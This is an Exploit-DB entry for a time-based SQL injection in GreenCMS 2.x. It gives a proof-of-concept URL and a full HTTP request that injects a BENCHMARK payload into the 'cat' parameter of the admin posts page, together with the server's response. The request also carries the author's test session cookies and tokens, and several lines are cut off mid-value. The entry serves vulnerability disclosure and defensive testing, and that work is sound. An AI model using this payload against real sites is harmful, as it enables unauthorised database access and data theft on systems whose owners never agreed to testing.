GreenCMS 2.x - SQL Injection

EDB-ID:
46244

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-01-25

Vulnerable App:

```
# Exploit Title: Green CMS 2.x - SQL Injection
# Dork: N/A
# Date: 2019-01-25
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.greencms.net/
# Software Link: https://codeload.github.com/GreenCMS/GreenCMS/zip/beta
# Version: 2.x
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/index.php?m=admin&c=posts&a=index&cat=[SQL]
#

GET /[PATH]/index.php?
m=admin&c=posts&a=index&cat=1%27))%20AND%201=BENCHMARK(100000000,MD5(0x456665
-%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=9kv875ue1nd30aem1r11v7j4e1; scd39=d417d5511c72c08320;
token=0d74f7745ef2ae866371f379887de13b; poll-20190124084438702=x;
Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1548345007;
Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1548345007;
iCMS_iCMS_AUTH=23fead6b8NDfVdP8qVNpOPIPPUSpFJAso5x4PtfIdZ3nDi8o5wnWMSK3ChFfVe
iCMS_USER_AUTH=219cbaebs-OpY5sJLvCCKTR3Dqt_oCHrxJW69eyU4H8ydfrP-
oU2o_WTjmpI2rq_RlGfFU7z4khePqUAE_-
e9BZoY7JqRmHEdQMwgIHvOFkLMuEm_MfWL5q_YjuZtjifggqF00S7XifyDwBoSSjLHF5_75serNlj
nvRiE2cbaaMFsxJZZUlRvYU6RUWihB9yhFfg8UOZ9A41c_BdcyREjmQEGPPzBZnHBXZv4SbG-
tj1gRr-L40L6EdGX-oKrbDC4oyt6vB0UzyzN9CZP5ZKWn8GzFGJAMWF7kFjPD_upiZiBd-
rHyPyCZb0Tsr6920eRpm5ZPLiJ-
cfKsR0Gm1s5vvsYO9BsTG1FogUhQwzjHbT4lIO3lUcpvxYSSc9wbE3R1izg2wME6ATQ6PEnszM;
iCMS_userid=32dfb608S9QlPEJd2BZY81z70jgnBnJldGAo3OuRdbLJJbk_Qw;
iCMS_nickname=32dfb608S9QlPEJd2BZY81b63296UnYxe2Yv3riRc-edc-xqFRw;
ICMSSESSION=pahh0r0jsr9gre9e0vn1jmqp23;
/PATH/modules/system/admin.php_SystemCustomtag_sortsel=name;
/PATH/modules/system/admin.php_SystemCustomtag_ordersel=ASC;
/PATH/modules/system/admin.php_limitsel=15;
/PATH/modules/system/admin.php_SystemCustomtag_filtersel=default;
/PATH/modules/system/admin.php_SystemPages_sortsel=page_title;
/PATH/modules/system/admin.php_SystemPages_ordersel=ASC;
/PATH/modules/system/admin.php_SystemPages_filtersel=default;
/PATH/modules/content/admin/content.php_mod_content_Content_sortsel=content_t
/PATH/modules/content/admin/content.php_mod_content_Content_ordersel=ASC;
/PATH/modules/content/admin/content.php_limitsel=15;
/PATH/modules/content/admin/content.php_mod_content_Content_filtersel=default
Hm_lvt_48659a4ab85f1bcebb11d3dd3ecb6760=1548351649;
Hm_lpvt_48659a4ab85f1bcebb11d3dd3ecb6760=1548355214;
greencms_last_visit_page=aHR0cDovL2xvY2FsaG9zdC9leHBsb2l0ZGIvZ3JlZW5jbXMtYmV0
greencms_post_add1=x%9Cm%901k%C30%10%85%FFJ%D0%ECPI%B5-
%5B%84%2C%1D2e%EAX%85%60YgG%E0%D8%22%3A%0D%A1%F4%BF%F7%9C+%C8%90%ED%DE%BB%EF%
%B2%8A%D8a%8A%E4%84d%27%1F%2F%D9%C7%7BX%7BD%3F%8FT%28%9Bp%0DS%87o%16K+%8Fg%E9
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Thu, 24 Jan 2019 22:36:36 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: GreenCMS Community Version
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private
Pragma: no-cache
```

```
Set-Cookie:
greencms_last_visit_page=aHR0cDovL2xvY2FsaG9zdC9leHBsb2l0ZGIvZ3JlZW5jbXMtYmV0
expires=Sat, 23-Feb-2019 19:14:36 GMT; Max-Age=2592000; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link

Databases

Links

Sites

Solutions